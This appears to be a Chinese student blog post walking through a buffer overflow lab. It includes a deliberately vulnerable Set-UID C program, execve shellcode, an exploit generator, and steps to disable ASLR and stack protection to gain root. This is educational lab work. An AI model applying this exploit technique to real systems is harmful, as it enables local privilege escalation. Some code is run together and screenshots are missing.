实验楼缓冲区溢出实验
准备工作:
sudo apt-get update
sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev
sudo apt-get install -y python3.6-gdbm gdb
因为:Ubuntu 和其他一些 Linux 系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中,我们使用以下命令关闭这一功能:
sudo sysctl -w kernel.randomize_va_space=0
此外,为了进一步防范缓冲区溢出攻击及其它利用 shell程序的攻击,许多shell程序在被调用时自动放弃它们的特权。因此,即使你能欺骗一个 Set-UID 程序调用一个 shell,也不能在这个 shell 中保持 root 权限,这个防护措施在 /bin/bash 中实现。
linux 系统中,/bin/sh 实际是指向 /bin/bash 或 /bin/dash的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个 shell 程序(zsh)代替 /bin/bash。下面的指令描述了如何设置 zsh 程序:
sudo su
cd /bin
rm sh
ln -s zsh sh
exit
输入命令linux32进入32位linux环境。此时你会发现,命令行用起来没那么爽了,比如不能tab补全了,输入/bin/bash 使用bash:
一般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址,那么程序就会跳转到该地址,如果该地址存放的是一段精心设计的代码用于实现其他功能,这段代码就是 shellcode。
#include <stdio.h>
int main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL); }
本次实验的 shellcode,就是刚才代码的汇编版本:
\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
在 /tmp 目录下新建一个 stack.c 文件:
cd /tmp vim stack.c
按 i 键切换到插入模式,再输入如下内容:
复制代码如果出现缩进混乱可先在 Vim 执行 :set paste 再按 i 键编辑。
/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str) {
char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1; }
int main(int argc, char **argv) {
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1; }
程序会读取一个名为“badfile”的文件,并将文件内容装入“buffer”。
编译该程序,并设置 SET-UID。命令如下
sudo su gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c chmod u+s stack exit
GCC编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。 而 -z execstack 用于允许执行栈。
-g 参数是为了使编译后得到的可执行文档能用 gdb 调试。
我在这步的结果
我的代码有一点小错误,如下所示:
我们的目的是攻击刚才的漏洞程序,并通过攻击获得 root权限。
在 /tmp 目录下新建一个 exploit.c 文件,输入如下内容:
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[] = "\x31\xc0" //xorl %eax,%eax "\x50" //pushl %eax "\x68""//sh" //pushl $0x68732f2f "\x68""/bin" //pushl $0x6e69622f "\x89\xe3" //movl %esp,%ebx "\x50" //pushl %eax "\x53" //pushl %ebx "\x89\xe1" //movl %esp,%ecx "\x99" //cdq "\xb0\x0b" //movb $0x0b,%al "\xcd\x80" //int $0x80 ;
void main(int argc, char **argv) {
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");
//在buffer特定偏移处起始的四个字节覆盖sellcode地址
strcpy(buffer + 100, shellcode);
//将shellcode拷贝至buffer,偏移量设为了 100
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile); }
注意上面的代码,\x??\x??\x??\x?? 处需要添上 shellcode保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。而 strcpy(buffer+100,shellcode); 这一句又告诉我们,shellcode 保存在 buffer + 100 的位置。
下面我们将详细介绍如何获得我们需要添加的地址。
现在我们要得到 shellcode 在内存中的地址,输入命令进入 gdb 调试:
gdb stack
disass main
esp 中就是 str 的起始地址,所以我们在地址 0x080484ee 处设置断点。
接下来的操作
最后获得的这个 0xffffcfb0 就是 str 的地址。
按q键,再按y键可退出调试。
根据语句 strcpy(buffer + 100,shellcode); 我们计算 shellcode 的地址为 0xffffcfb0 + 0x64 = 0xffffd014
实际操作中你的地址和我这里的地址可能不一样,需要根据你实际输出的结果来计算。
可以使用十六进制加法器计算。
现在修改 exploit.c 文件,将 \x??\x??\x??\x?? 修改为计算的结果 \x14\xd0\xff\xff,注意顺序是反的。
然后,编译 exploit.c 程序:
gcc -m32 -o exploit exploit.c
先运行攻击程序 exploit,再运行漏洞程序 stack,观察结果:
whoami 是输入的命令,不是输出结果。
可见,通过攻击,获得了root 权限!
如果不能攻击成功,提示”段错误“,那么请重新使用 gdb 反汇编,计算内存地址。
我在实验楼的环境做完了以上所有步骤,但是在自己的虚拟机中没有完成,还停留在最开始的准备步骤,由于网络原因,安装的时间显示很久,所以我先写下了这篇博客来记录一下我的学习,下次完成了也许可以再发一篇博客。
下列两个操作是我在实验楼还没完成的,因为实验楼环境有时间限制。
1、通过命令 sudo sysctl -w kernel.randomize_va_space=2打开系统的地址空间随机化机制,重复用 exploit 程序攻击 stack 程序,观察能否攻击成功,能否获得root权限。
2、将 /bin/sh 重新指向 /bin/bash(或/bin/dash),观察能否攻击成功,能否获得 root 权限。